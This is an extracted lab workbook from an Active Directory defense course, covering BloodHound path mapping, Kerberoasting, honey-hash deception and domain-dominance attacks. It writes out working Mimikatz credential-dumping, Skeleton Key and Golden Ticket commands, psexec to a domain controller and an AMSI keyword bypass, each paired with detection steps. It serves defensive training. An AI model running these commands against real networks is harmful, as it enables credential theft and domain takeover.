step, please click the "Queries" tab and click the "Find all Domain Admins" query. This
will automatically refresh the window in the background and show the following:

o A group "Domain Admins@SYNCTECHLABS.COM"

o Two users "ADMINISTRATOR@SYNCTECHLABS.COM" and
"ALAN.MARSHALL.DADM" who are "MemberOf" the "DOMAIN
ADMINS@SYNCTECHLABS.COM" group

In order to optimize your view, please take the following steps:

o Click the "list" icon (three horizontal bars) in the left-hand side of the window,
this will hide the subwindow we opened previously

o Zoom out (using the mouse, or the - and + buttons) at the bottom right of the



screen

The dynamic BloodHound graph view will require some practice, but you'll get the
hang of it!

13. Review Windows02 node

In the input field at the top left of the BloodHound window, please enter
"WINDOWSO02", which will autocomplete to "WINDOWS02.SYNCTECHLABS.COM". You
can select this value. This will load the WINDOWS02 computer in the BloodHound
view. Please click the icon, which should open detailed information about the
WINDOWSO02 node.

Example information includes:
o Whether you have compromised the system (this can be configured manually)

o The number of sessions on the system

o The Service Principal Names (SPNs) on the system (useful for attacks against
service accounts)



14. Review Windows02 sessions

As a next step, let's review what sessions are configured on the Windows02
workstation. We can do this by clicking the session number (which should be 2) in the
"Sessions" entry. You should see a graph appearing in the background. Please
minimize the detailed view (by clicking the icon with the three horizontal lines) to
obtain a good view.

We will also configure the view to include the "node labels", for better visibility. Please
click the "Settings" button on the right (6th icon from the top) and configure the
following settings

o Edge Label Display: Always Display
o Node Label Display: Always Display

Please refer to the screenshot for the expected result.



15. Set WINDOWSO02 as starting point

As we have administrative access to the Windows02 workstation, let's try to map an
attack path from the WINDOWSO02 workstation to the "Domain Admins" group. Please
take the following steps:

o Right-click the WINDOWSO02 entry in the graph and select "Mark Computer as
Owned"

o Right-click the WINDOWSO02 entry in the graph and select "Set as Starting
Node"

The expected result can be found in the screenshot. The small "skull" icon on the
WINDOWSO02 computer indicates the computer was compromised ("Owned").



16. Navigate to "Domain Admins" group

Now that we have set the WINDOWSO02 workstation as our "Starting Node", we will
now try to navigate from this machine to the "Domain Admins" group (which is our
end-goal).

We can do this by clicking the "Pathfinding" icon at the top left of the screen (next to
the text input, where the WINDOWSO02 computer is now configured). Once the
"Pathfinding" icon is clicked, you will receive a second text input field asking for a
"Target Node". Please enter "Domain Admins" and click the suggested autocomplete
"DOMAIN ADMINS@SYNCTECHLABS.COM".



17. Review generated graph

A graph should now be generated that tells you how you could become a domain
admin from the WINDOWS02 computer. An example of a graph output can be found
in the screenshot, but note that BloodHound sometimes adapts how the nodes are
visualized.

If your graph is not clear, you can manually interact with it and move the nodes
around, or you can click the "Change Layout Type" (5th icon on the right) to get
another view.

In any case, the logic behind the graph should be the following:

o ALAN.MARSHALL.ADM has a session ("HasSession") on the WINDOWSO02
workstation

o ALAN.MARSHALL.ADM is a member of ("MemberOf") the WORKSTATIONS
ADMINISTRATORS group

o The WORKSTATION ADMINISTRATORS group are administrators
("AdminTo") to the WINDOWSO01 workstation

o ALAN.MARSHALL.DADM has a session ("HasSession") on the WINDOWSO01
workstation



18.

19.

o ALAN.MARSHALL.DADM is a member of ("MemberOf") the DOMAIN ADMINS
group

Nice! As an adversary, we now know how to move laterally from our compromised
machine to the crown jewel of the organization, the "Domain Admins" group!

Bonus - BloodHound exploration

If you have time left, play around with some of the other interesting "built-in" queries
in BloodHound. Some good ones include:

o Find Shortest Paths to Domain Admins
o Map Domain Trusts

These queries are highly valuable and can provide good overall insights and
remediation advice. As an example, it might be worth running the "Find Shortest
Paths to Domain Admins" periodically and spot any clear vulnerabilities!

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how BloudHound can be used to map out possible attack paths in a Windows
AD environment. If you have time left, feel free to attempt the bonus section of this
lab.

ATTENTION: Finishing this step will close your lab!



SEC599-4.5: Exercise - Kerberos attack strategies
Objective

The following are the high-level attack steps:

e Use “Invoke-Kerberoast” to extract tickets

Crack the tickets to obtain password of service account

Escalate privileges using cracked service account

Detect Kerberoast activity using Windows event logs

Harden our service account by increasing password complexity

Scenario

Virtual Machines

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows02

A

Exercise 1 : SEC599-4.5

1. Authenticate to Windows workstation

As we've done many times before during the week, please authenticate to the
Windows workstation using the following credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Start our Logstash service for detection

As we will aim on how this activity can be detected after the attack, please start our
logstash service on 192.168.30.16. This can be achieved using the following steps:

o Opening putty.exe from the Desktop
o Connecting to Ubuntu03 (double-click the entry that was created)
In the Putty window, please execute the following commands (use the password

Awesomesauce123 for the sudo command):

alanmarshall@ubuntu03:~$ sudo -s
root@ubuntu03:~# service logstash start



3. Open a command &amp; PowerShell prompt
Let's open two windows:
o A windows command prompt
o A PowerShell prompt

Both can be launched without elevated privileges by clicking the icon in the taskbar.

4, List available SPN's

We are going to use Tim Medin's amazing Kerberoast toolkit to perform a
Kerberoasting attack. This same method has been further automated and built into
plenty of attacker tools (e.g. Invoke-Mimikatz in Empire), but we will do it step-by-



step to explain the concept in-depth!

In the command line prompt, please navigate to the Kerberoast directory and execute
the following command to list available SPNs:

C:\Users\Desktop\alan.marshall> cd Desktop\Red Team\Kerberoast
C:\Users\Desktop\alan.marshall\Desktop\Red Team\Kerberoast> cscript
GetUserSPNs.vbs

The output of this command should return two available SPNs in our Active Directory:
IIS_002/DC.SYNCTECHLABS.COM:80 (Presumably for IIS), while the other one is for
kadmin/changepw (Kerberos). Remember that the attack is based upon offline
password guessing attacks against TGS (Ticket Granting Service) that are encrypted
with the credential of the service account.

We DO NOT want to attempt cracking tickets encrypted with the Kerberos secret, as
this password will be too complex and not feasbible to crack. So, our target will be
IIS_002/DC.SYNCTECHLABS.COM:80

5. Request Service Ticket for IIS service account

We will now request a Service Ticket for the IIS account. You can do this by running
the folllowing commands in PowerShell (the other window):

PS C:\Users\alan.marshall> Add-Type -AssemblyName System.IdentityModel
PS C:\Users\alan.marshall> New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
"IIS_002/dc.synctechlabs.com:80"

This command will provide some feedback on the screen, but more importantly, obtain
Kerberos tickets in memory that we can crack!



6. View available tickets with Mimikatz

Let's switch back to the command line prompt and run Mimikatz! You can do so by
entering the following commands:

C:\Users\alan.marshall\Desktop\Red Team\Kerberoast>"..\Mimikatz -
2.1.1\x64\mimikatz.exe"

mimikatz # kerberos::list

As indicated before, we do not need administrative privileges in order to review
Kerberos tickets available to our own account.

You will notice that there is a TGS available for
IIS_002/DC.synctechlabs.com:80 and that it's using rc4_hmac_nt. This is to be
expected, as the RC4 mechanism uses the NTLM hash to encrypt parts of the TGS.
This is an excellent indicator to detect this type of activity (more on that later!), as
modern OSes all rely on AES (aes256_hmac).



7. Extract tickets using Mimikatz

Next up, we will extract the tickets from the system using Mimikatz. This can be done
by adding the "/export" option to the previous command:

mimikatz # kerberos::list /export

The command line output should be very similar, but you will now notice that inside
the Kerberoast directory (from which you are executing commands), all tickets have
been dumped as .kirbi files. Let's now close Mimikatz:

mimikatz # exit

8. Crack the service account password

Let's try cracking the password of the vulnerable service account! We can use the
python script tgsrepcrack.py for this, which is included in Tim Medin's toolkit. As input,
it needs two items:

o A password list of password to try
o The extracted ticket from Mimikatz
We can run it using the following command (replace the KIRBIFILE with your actual

Kkirbi file for the IIS_002 account):

C:\Users\alan.marshall\Desktop\Red Team\Kerberoast> python
tgsrepcrack.py passwordlist.txt KIRBIFILE



10.

In our example screenshot, the command was:

C:\Users\alan.marshall\Desktop\Red Team\Kerberoast> python
tgsrepcrack.py passwordlist.txt "2-40a10000-
alan.marshall@IIS_002~DC.synctechlabs.com~80-SYNCTECHLABS.COM.kirbi"

The cracking should go rather fast and you should soon receive an indication that the
password ("Secret123") was cracked!

We have provided you with a small dictionary called passwordlist.txt, which includes
the password that was used to configure the IIS account. In real-life attacks,
adversaries might use much bigger wordlists. Remember, the cracking happens
offline, so is not noisy.

Since Tim Medin originally released his attack suite, multiple well-known cracking tools
such as Hashcat and JohnTheRipper have built in support to crack TGS tickets.

Preventing Kerberoasting

In order to prevent the attack, there's a few possible recommendations:
o Configure the service account to have AES support
o Configure a strong, complex, password for the IIS_002 account
o Configure the service account as a Managed Service Account

We will configure the service account to have AES support, so this will become the
encryption type used for Service Tickets for this account!

Switch to the domain controller

Please switch to the Domain Controller, as we will reconfigure the service account that
was just compromised. You can authenticate using the following credentials:

o Username: Administrator
o Password: Synct3chlabs

Once authenticated, wait for the "Server Manager" to load and select "Tools" ->
"Active Directory Users and Computers"



11. Open the IIS Admin settings

In the "Active Directory Users and Computers" view, please browse the "Users" folder
in the left window. In the right window, find and double-click the "IIS Admin" user.
This is the service account we previously abused!

In the "IIS Admin Properties" window, please select the "Account” tab.

Under account options, please select the following options:
o This account supports Kerberos AES 128 bit encryption
o This account supports Kerberos AES 256 bit encryption

Once completed, please click "OK".



12.

13.

Switch back to the Windows02 workstation

Let's switch back to our Windows workstation to try our previous attack strategy
again. Should you be requested to enter credentials, use the following:

o Username: alan.marshall

o Password: Awesomesaucel23

Clean existing Kerberos tickets

In the command prompt window that is still open, please delete all extracted Kerberos
tickets (.kirbi files) and purge all Kerberos tickets from memory:

C:\Users\alan.marshall\Desktop\Red Team\Kerberoast> del *.kirbi
C:\Users\alan.marshall\Desktop\Red Team\Kerberoast> Kklist purge



14.

15.

Request new Service Tickets

Please switch to the PowerShell window (which should still be open) and repeat the
previous command to request a new Service Ticket for the IIS_002 account:

PS C:\Users\alan.marshall> New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
"IIS_002/dc.synctechlabs.com:80"

Review tickets using Mimikatz

Let's switch back to the command line prompt and run Mimikatz! You can do so by
entering the following commands:

C:\Users\alan.marshall\Desktop\Red Team\Kerberoast>"..\Mimikatz -
2.1.1\x64\mimikatz.exe"

mimikatz # kerberos::list

You will notice that there is a TGS available for IIS_002/DC.synctechlabs.com:80, but
that, this time, it's using aes256_hmac! It seems our defense has worked! As part of
the bonus section of this lab, we will return to this step to see if we can still crack the
password!



16. Detecting Kerberoast activity

17.

So... How can we detect this? We already shortly mentioned that the use of RC4 is an
interesting artifact! As we indicated in the class, Kerberos TGS requests are logged
with event ID 4769. In these event logs, the encryption type is logged as well. Here's
a quick reference guide for encryption types (obtained from Microsoft documentation):

(e]

(e]

Ox1 - DES-CBC-CRC - Disabled by default starting from Windows 7 and
Windows Server 2008 R2.

0x3 - DES-CBC-MD5 - Disabled by default starting from Windows 7 and
Windows Server 2008 R2.

Ox11 - AES128-CTS-HMAC-SHA1-96 - Supported starting from Windows Server
2008 and Windows Vista.

0x12 - AES256-CTS-HMAC-SHA1-96 - Supported starting from Windows Server
2008 and Windows Vista.

0x17 - RC4-HMAC - Default suite for operating systems before Windows Server
2008 and Windows Vista.

0x18 - RC4-HMAC-EXP - Default suite for operating systems before Windows
Server 2008 and Windows Vista.

OXFFFFFFFF or Oxffffffff - This type shows in Audit Failure events.

So... We are looking for encryption type "0x17"! In modern AD environments, these
should be an exception!

Open Kibana dashboards

Let's revert to our Kibana dashboards! Please open Google Chrome and click the
"Kibana" bookmark. Remember: you can authenticate using "alanmarshall" username
and "Awesomesaucel23" password.



In Kibana, please click the "Dashboard" link and open the "Windows event logs"
dashboard. Finally, please expand the time filter in Kibana to be "Today". You can do
this by clicking the "Last 15 minutes" in the top-right corner and selecting "Today".

You will notice the pie chart visualization that was created by yours truly to indicate
the "TicketEncryptionType". You will notice that 0x12 is the dominant encryption type
(aes256), while 0x17 (rc4_hmac) is only minimally present. This is an excellent
indicator of Kerberoasting in your organization! The more legacy systems you have
however, the more rc4_hmac you will observe!

18. Filter 0x17 encryption type

We will now further investigate the events that have 0x17 as a Ticket Encryption type!
In order to do so, please click the 0x17 entry in the pie chart legend and select the
magnifying glass with "+".

The filter will be put in place and the dashboard will reload!



19. Expand the event

Once the filter is in place, please scroll down to the full event details that are located
at the bottom of the dashboard. Please expand the event by clicking the arrow that
points to the right at the start of the row. You will now see an in-depth view of all

fields in this log event.

20. Identify compromised user

When scrolling down, we will now observe that the
"alan.marshall@SYNCTECHLABS.COM" account is referenced as the TargetUsername.



21.

22.

We now know that this is the account being used by the adversary and can start
further investigations.

In a real-life attack, this user would be generating multiple entries, as the adversary
will typically attempt to request RC4 service tickets for multiple service accounts!

Bonus - Other Kerberos defenses

You have finished the main section of the lab! If you have time left, here are a few
bonus activities to attempt:

o Can you configure the "IIS Admin" account as a "Protected User" and assess
whether this has any effect on the Kerberoasting attack?

o (Can you try creating a "Managed Service Account" and try Kerberoasting this
account?

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how Kerberoasting works and how we can implement defenses against it.
We focused both on detection & prevention of Kerberoasting! If you have time left,
feel free to attempt the bonus section of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-4.6: Exercise - Detecting lateral movement in AD
Objective

The following are high-level exercise steps:

e Creating a honey user

e Testing & analyzing the HoneyHash concept;

e Implementing HoneyHashes in our environment using GPOs;
e Configuring Kibana dashboards for detection

Scenario

Virtual Machines

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows01
SEC599-E01 - Windows02

o v bk W=

Exercise 1 : SEC599-4.6

1. Authenticate to Domain Controller

As a first step, please authenticate to the domain controller. You can use the following
credentials:

o Username: Administrator
o Password: Synct3chlabs

Once authenticated, wait for the "Server Manager" to load and select "Tools" ->
"Active Directory Users and Computers"



2. Create fake honey user

In the User view (right window), please right-click and select "New" -> "User". Please
configure the following:

o First name: SCCM
o Last name: Admin
o User logon name: sccmadmin

The other fields will autocomplete, after which you can click "Next".



3. Open Notepad window

In the next prompt, you will be asked to configure a password for the new account. In
order to prepare this properly, please first open a notepad window (click "Start"
button and type notepad).

In the notepad window, enter the following string:

ThisIsAnExtremelyLongPasswordThatTheyWouldNeverGuessIThink!SEC599Rules

We will use this string as the password for our honey user. Please right-click the string
and select "Copy".



4. Configure password

Next up, please configure the following in the "New Object - User" wizard:

Password: ThisIsAnExtremelyLongPasswordThatTheyWouldNeverGuessIThink!SEC599Rules
=> You can paste this from the Notepad window

Confirm

password: ThisIsAnExtremelyLongPasswordThatTheyWouldNeverGuessIThink!SEC599Rules
=> You can paste this from the Notepad window

Furthermore, make sure only the following check box is selected:

o "Password never Expires"

Please refer to the screenshot for the expected configuration. Once configured
correctly, click "Next" and "Finish".



5. Add honey user to domain admin group

As a next step, we will now add our honey account to the Domain Admins group! In
order to do so, please double click the "SCCM Admin" user entry. In the newly opened
window, navigate to the "Member Of" tab. Next, take the following steps:

o In the "Member Of" view, please click "Add..."
o Enter "Domain Admins" in the new window and click "Check Names"
o Click "OK"

o Confirm with "OK" again



6. Authenticate to Windows workstation

Now that we have configured our honey user, we will now spread fake sessions (with
fake credentials) on some of our workstations. We will first test out our attack
strategy on the WINDOWSO02 workstation. Please switch to the WINDOWS02
workstation and authenticate using the following credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

7. Review New-HoneyHash.ps1

Right-click the "New-HoneyHash.ps1" script that is stored in the "Blue Team" folder on
the Desktop and open it using "Edit with Notepad++". Should you receive a message
about possible Notepad++ updates, please ignore this by clicking ""Cancel". The
script is well-documented and explains its purpose: it will inject a fake credential in
the LSASS process, thereby tricking Mimikatz users.



Take your time to read through the script if you want to better understand what it's
doing...

8. Test New-HoneyHash.ps1

In order to test the "HoneyHash" technique, please open up an "elevated" powershell
prompt by right-clicking the powershell icon in the taskbar and selecting "Run as
Administrator". You can provide the following credentials:

o Username: alan.marshall.adm
o Password: Securlty

Within the Powershell prompt, please run the following commands:

PS C:\WINDOWS\system32> cd "C:\users\alan.marshall\Desktop\Blue Team"
PS C:\users\alan.marshall\Desktop\Blue Team> Import-Module .\New-
HoneyHash.ps1

Depending on your luck, AMSI might trigger and the script will be blocked from
executing (see screenshot). If this would happen, please go to step 9 to adapt /
finetune the script (we have done some analysis and found a simple, yet effective,
bypass for this specific script. If you don't encounter any issues with AMSI, you can
immediately jump to step 10 to inject a honey hash.



9. Adapt New-HoneyHash.ps1

Switch to your explorer window, right-click the "New-HoneyHash.ps1" again and open
it using "Edit with Notepad++". Should you receive a message about possible
Notepad++ updates, please ignore this by clicking ""Cancel".

Please scroll down to the very end of the script. You should see the following line:

""Honey hash" injected into LSASS successfully! Use Mimikatz to confirm.'

Upon testing, we discovered AMSI only triggers on the "Mimikatz" keyword, so please
change it to:

""Honey hash" injected into LSASS successfully! Use BlahBlah to confirm.'
As previously discussed during the past few days, AMSI is a good way of raising the

bar, but it's of course not perfect :) Please save the file (File -> Save) and close
Notepad++

10. Retry New-HoneyHash.ps1



11.

Switch back to the administrative PowerShell prompt and try importing the HoneyHash
script again:

PS C:\users\alan.marshall\Desktop\Blue Team> Import-Module .\New-
HoneyHash.ps1

Using the updated .ps1 file, AMSI should no longer intervene! Let's continue to craft a
HoneyHash:

PS C:\users\alan.marshall\Desktop\Blue Team> New-HoneyHash

Provide the following values:
o Domain: SYNCTECHLABS
o Username: sccmadmin
o Password: Sccm@dm1n!

Upon successful completion, you should receive a message indicating the hash was
successfully injected into LSASS. You might notice we are providing a wrong
password, but that's OK, as we are not really validating the credentials of the account.
Furthermore, we are hoping the adversary will pick up on these credentials, so we
don't want to give them the real ones!

Confirm effectiveness using Mimikatz

Let's now confirm the presence of our honey hash in LSASS. What better tool than
Mimikatz to try extracting credentials from our very own LSASS :)

We can invoke Mimikatz as follows:

o Right-click the command prompt icon, right-click "Command Prompt" and
select "Run as Administrator"

o Provide administrative credentials:

m Username: alan.marshall.adm



m Password: Securlty

In the command prompt, please execute the following commands:

C:\WINDOWS\system32> cd "C:\Users\alan.marshall\Desktop\Red
Team\Mimikatz - 2.1.1\x64"
C:\users\alan.marshall\Desktop\Red Team\Mimikatz -
2.1.1\x64\> mimikatz privilege::debug sekurlsa::logonpasswords

This will generate a large output, which you will now have to carefully inspect.
Somewhere inside the output you should find a hash for a user "sccmadmin”, which is
the fake hash we just generated!

12. Deploy fake sessions using GPO

Did someone say enterprise-wide honey hashes?! We've prepared a .bat script that
can be added as a "Startup" script to generate a honey token whenever a computer in
the domain starts up.

Feel free to have a look, you can find the script here:
\\DC\sysvol\synctechlabs.com\Honeytokens\plant.bat

You will notice we are planting a honeyhash for a fake user acount called
"sccmadmin”. If you are pondering implementing such a setup yourself, it's probably a
good idea to not call the folder "Honeytokens" :) We have also already "fixed" the

New-HoneyHash.ps1 file in the SYSVOL folder to prevent AMSI detection!

In order to implement the script, let's switch to our domain controller! Let's
authenticate to the domain controller using the following credentials:



o Username: Administrator
o Password: Synct3chlabs

In the Server Manager, click "Tools" -> "Group Policy Management". Within the Group
Policy Management, drill down as follows:

o Forest: synctechlabs.com

o Domains

o synctechlabs.com

o Group Policy Objects (right-click -> "New")

o As the name for the new GPO, please use "Plant HoneyHashes"

o Right-click the "Plant HoneyHashes" GPO and click "Edit"

13. Browsing the startup scripts

Within the Group Policy Management Editor, we will now open the "Startup" scripts
location, where we will add a .bat script we developed for the honey hashes. You can
browse the structure in the following way:

o

Computer Configuration

Policies

o

o

Windows Settings

o

Scripts (Startup/Shutdown)
Right-click "Startup" and select "Properties".



14. Add the startup script

Within the Startup script window, click "Add..." and configure the script name as:
\\DC\sysvol\synctechlabs.com\Honeytokens\plant.bat

Confirm the changes you made by clicking "OK" and "OK" again.



15. Link Plant HoneyHashes GPO to Workstations

When the GPO is created, the final step is to link it to the Workstations! You can do so
by right-clicking "Workstations" and selecting "Link an Existing GPO..." In the new
window, select the "Plant HoneyHashes" GPO and click "OK".



16. Reboot Windows02 workstation

Now, let's switch back to our Windows02 workstation and reboot the machine.

17. Authenticate to workstation &amp; run Mimikatz
Once the system has rebooted, please authenticate using the following credentials:

o Username: alan.marshall
o Password: Awesomesaucel23

Once authenticated, launch an elevated command-prompt using the following
credentials:

o Username: alan.marshall.adm

o Password: Securlty
Within the command prompt, run the following commands:
C:\WINDOWS \system32> cd "C:\Users\alan.marshall\Desktop\Red Team\Mimikatz
- 2.1.1\x64"

C:\users\alan.marshall\Desktop\Red Team\Mimikatz - 2.1.1\x64\>
mimikatz privilege::debug sekurlsa::logonpasswords

As a result you will notice that an entry is listed in the output for the "sccmadmin”



account. As anyone using this account has stolen it from memory (or has been
messing about in your GPQ's), you can now treat any related activity as suspicious...

18. Enable Logstash

Let's start our logstash service on 192.168.30.16. This can be achieved using the
following steps:

o Opening putty.exe from the Desktop
o Connecting to Ubuntu03 (double-click the entry that was created)

o In the Putty window, please execute the following commands (use the
password Awesomesaucel23 for the sudo command):

alanmarshall@ubuntu03:~$ sudo -s
root@ubuntu03:~# service logstash start



19. Open Windows events Kibana dashboard

Open a Chrome window and access the "Kibana" bookmark. As a reminder, you can
use the following credentials for Kibana:

o Username: alanmarshall
o Password: Awesomesaucel23

In the Kibana interface, please click "Dashboard" and "Windows event logs". Please
change the time filter (top right corner) from "Last 15 minutes" to "Today".



20. Create filter for honey user

We will now create a filter, to only see activity related to our "sccmadmin" account.
Please click the "Add a filter+" label under the search field and configure the following
filter value:

"TargetUserName" -> "is" -> "sccmadmin"
Label: "sccmadmin honey user"
Please refer to the screenshot for the expected configuration. If you have multiple

honey users, you could select "is one of" instead of "is" and list all honey accounts!
Once correctly configured click "Save".



21. Review filter results

When saving the filter, it will immediately be applied for the current dashboard. You
will see a humber of events, all related to the creation of our "sccmadmin” honey user
account (event IDs 4738, 4720, 4722 & 4724). There is no logon activity (4624)
however just yet!

22. Attempt authentication to DC using sccmadmin



Let's now look at this from the adversary perspective: You have successfully found the
"sccmadmin® account in the Mimikatz output, checked its privileges and, JACKPQT, it's
a Domain Admin account. The adversary might choose now to use this credential to
start "domain dominance" (e.g. install a skeleton key backdoor, create a golden
ticket,...). We will illustrate an adversary abusing this account by now attempting to
RDP into the domain controller. Please take the following steps:

(e]

(e]

(e]

Click the "Start" button in Windows 10
Type "mstsc"

Select the "mstsc - Run command" entry

In the new window, please submit the following:

(e]

(e]

(e]

(e]

Computer: "dc"

Click "Connect"

Click "More choices"

Click "Use a different account”

Enter "sccmadmin” as the Username and "SccmAdmin2019" (which we found
in Mimikatz) as the password

Click "OK"

The desired configuration can be found in the screenshot. You should receive an error
message "The logon attempt failed", which is to be expected, as the compromised
password is not correct!



23. Confirm detection in Kibana
When refreshing the Kibana dashboard (click the Update / Refresh button top right),
you should now see at least one additional event (with event ID 4771 - "Kerberos pre-
authentication failed"). This is the standard authentication failure event in Kerberos.
This event will have an "AUDIT_FAILURE" status. Please take the following steps:
o Click the "AUDIT_FAILURE" entry in the legend

o Click the small magnifying glass icon with a "+" (this will add a filter to only
select matching values)
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o Scroll down to the one log entry and click the small arrow sign next to it to
expand

o Review the event details

You may notice that we now see the event ID (and thus know that our environment
was compromised), but it doesn't include crucial information such as the source
workstation, source user name,... This is part of the bonus section of this lab!

Bonus - Detect other lateral movement techniques

You have finished the main section of this lab! If you have time left, here is a bonus
challenge you can try:

o Can you further finetune the audit policies in our domain environment to track
down the source of the failed Kerberos pre-authentication?

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how lateral movement can be detected using cyber deception techniques. If
you have time left, feel free to attempt the bonus section of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-5.1: Exercise - Domain dominance

Objective

High-level exercise steps:

Implementing a Skeleton Key backdoor on the domain controller
Detecting a Skeleton Key backdoor on the domain controller
Creating and using a Golden Ticket

Detecting a Golden Ticket being used

Performing a DCSync replication attack

Detecting DCSync using Suricata alerts

Scenario

Virtual Machines

A

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows02

SEC599-5.1

1.

Authenticate to the domain controller

Let's authenticate to our domain controller and implement a Skeleton Key. We have
handily provided Mimikatz.exe on the Desktop of the domain controller! As a reminder,
the credentials for the DC are:

o Username: Administrator

o Password: Synct3chlabs

Install Skeleton Key backdoor

Once authenticated, please double click the Mimikatz executable on the Desktop
(confirm with "Run") and run the following commands:

mimikatz # privilege::debug
mimikatz # misc::skeleton

As a reminder, this will instlal the "Skeleton Key" backdoor in memory on the domain
controller and allow Kerberos authentication using the "mimikatz" password. Note that
this only works for Kerberos RC4 encryption!



3. Switch to Windows02 workstation

After installing the Skeleton Key backdoor, let's try authenticating to the Windows02
workstation using the "mimikatz" password. We can use the following credentials:

o Username: alan.marshall
o Password: mimikatz

It appears our Skeleton Key was effective, as authentication should succeed!

4. Open Putty and launch Logstash

Let's start our logstash service on 192.168.30.16. This can be achieved using the
following steps:

o Opening putty.exe from the Desktop
o Connecting to Ubuntu03 (double-click the entry that was created)

o In the Putty window, please execute the following commands (use the
password Awesomesaucel23 for the sudo command):

alanmarshall@ubuntu03:~$ sudo -s
root@ubuntu03:~# service logstash start



5. Open Kibana

Once Logstash is up and running, please open Chrome and click the Kibana
bookmark. You can use the following credentials:

o Username: alanmarshall
o Password: Awesomesaucel23

Next, please click "Dashboard" to open the Dashboard menu.



6. Open "Windows event logs" dashboard

Now, let's open the Windows event logs dashboard. As a first step, please click the
"Last 15 Minutes" on the top-right of the screen and change it to "Today".

You may need to wait a few minutes (maximum 5 minutes) for data to start arriving in
the dashboard. Please click "Refresh" periodically to see results.

In the overview, observe the "Ticket Encryption Type" visualization, you should see a
limited number of "0x17" events. You guessed it: these are RC4-encrypted tickets,
which are anomalies in our Windows 10 & 2016 environment! Remember that
Skeleton Key attacks rely on RC4 encryption, as they are not effective against AES
(due to the complexity of the encryption algorithm, which includes amongst others
salting)!

If you filter them further, you should see that these are all linked to the
"alan.marshall" authentication we observed previously!



7. Creating a golden ticket - Switch to DC

We will look at a "Golden Ticket" as a next domain dominance strategy we will
analyze. Please switch to the Domain Controller, as we will emulate an adversary who
steals the Kerberos keys from the KRBTGT account after compromising the DC.

Please reboot the Domain Controller first (to clear the Skeleton Key
backdoor).
You can use the following credentials:

o Username: Administrator

o Password: Synct3chlabs

8. Dump Kerberos keys

Upon authentication, please double click the Mimikatz.exe on the Desktop and run the
following commands:

mimikatz # privilege::debug
mimikatz # sekurlsa::krbtgt

This will list all Kerberos encryption keys used by the krbtgt account, you should see
the following keys:



0.

10.

o NT hash (RC4_HMAC_NT, RC4_HMAC_OLD, RC4_MD4)
o AES encryption keys (AES256_HMAC, AES128_HMAC)

These can all be used to create a Golden Ticket!

Switch back to the Windows02 workstation

Let's switch back to the Windows02 workstation and create our TGT "offline" without
admin privileges. The only true secret we need is one of the encryption keys. We will
use the RC4 (NT hash) encrypion key (a078c51b3fe7a10a7c227af90106a317). Please
authenticate to the Windows02 workstation and authenticate using the following
credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

Enumerate domain SID

One piece of information we still need to create the golden ticket is the domain SID.
We can obtain this by opening a command prompt (open using shortcut in the task
bar) and typing the following command:

C:\Users\alan.marshall> whoami /user

The domain SID starts with "S-1-5" and ends with "3403915358" (see highlighted
section in screenshot). We will use it in the next step to generate a golden ticket.



11. Create Golden Ticket in Mimikatz

On the WINDOWSO02 workstation, please open the "Red Team\Mimikatz - 2.1.1\x64"
folder in the explorer and double-click the Mimkatz.exe! Note that we don't need any
administrative credentials now!

We will launch the following command to create our golden ticket:

mimikatz # kerberos::golden /rc4:a078c51b3fe7al10a7c227af90106a317
/user:Administrator /domain:synctechlabs.com /sid:S-
1-5-21-4095063694-3848447163-3403915358 /ptt

Some notes on the arguments for this command:

o /rc4: We will use RC4 encryption using the NT hash we previously stole
(a078c51b3fe7a10a7c227af90106a317) as a key

o /domain and /user: The target username is "Administrator", while the target
domainname is "synctechlabs.com"

o /sid: The target domain SID (Security Identifier)

o /ptt: We will immediately submit the created ticket in the current session (ptt
for pass the ticket)

Please carefully observe the output of the command, as you will notice the interesting
properties (e.g. lifetime) of a golden ticket!



12. Abuse Golden Ticket
Back in the Mimikatz window, please run the following command:

mimikatz # misc::cmd

In the new command prompt, let's abuse our newly obtained domain
administrator privileges! We will use PsExec to remotely connect to the Domain
Controller. Note that this is a rather "noisy" tool, but it helps illustrate the point!
Please execute the following commands:

C:\Users\alan.marshall\Desktop\Red Team\Mimikatz - 2.1.1\x64> cd
"C:\Users\alan.marshall\Desktop\Blue Team\SysinternalsSuite"
C:\Users\alan.marshall\Desktop\Blue Team\SysinternalsSuite> psexec \\dc
cmd.exe

This second command will ask you to accept the Sysinternals EULA, after which it will
open a remote command prompt on the domain controller. The connection might take
up to a minute. Once you receive the new prompt, please execute the following
commands:

C:\Windows\system32> whoami

This confirms you are now running with Domain Administrator privileges!



13. Detecting golden tickets

As we already indicated, detecting golden tickets is tricky, as the Kerberos activity
looks rather normal. You can however spot the TGT in memory when running the
following command in a command prompt on the WINDOWS02 machine:

C:\Users\alan.marshall> klist

There's a few anomalies that can be observed:
o Use of RC4 as the encryption type
o The validty time of 10 years

o The domain name is spelled in lower case (it is in upper case for the other
tickets)

During threat hunting activities, it might be a good idea to run the "klist" command
across the entire fleet on a daily basis, in order to find forged TGTs loaded on end-
user systems!

As a bonus activity (if you have more time), we will also review Kerberos activity in
Kibana!



14. DCSync and DCShadow

Let's switch to the final "domain dominance' strategy we want to highlight in this
lab: DCSync! DCSync relies on the MSDRS (Directory Replication Service) to fetch
credentials from domain controllers. As indicated during the course, this is something
we can detect when we place our domain controllers in a separate network zone!

We will first configure our Suricata firewall to have the correct detection capabilities.
Please open PfSense by opening the "PfSense Firewall" shortcut in the browser! You
can use username "admin" and password "Awesomesaucel23". Once opened, please
click "Services" and "Suricata".

15. Add LANDC network interface to Suricata
Let's enable Suricata to monitor the LANDC interface. We can easily do this by clicking



the "Add" button in the Suricata Interfaces page. In the next window, we will
configure the interface with largely default values, except for the following:

Interface: LANDC
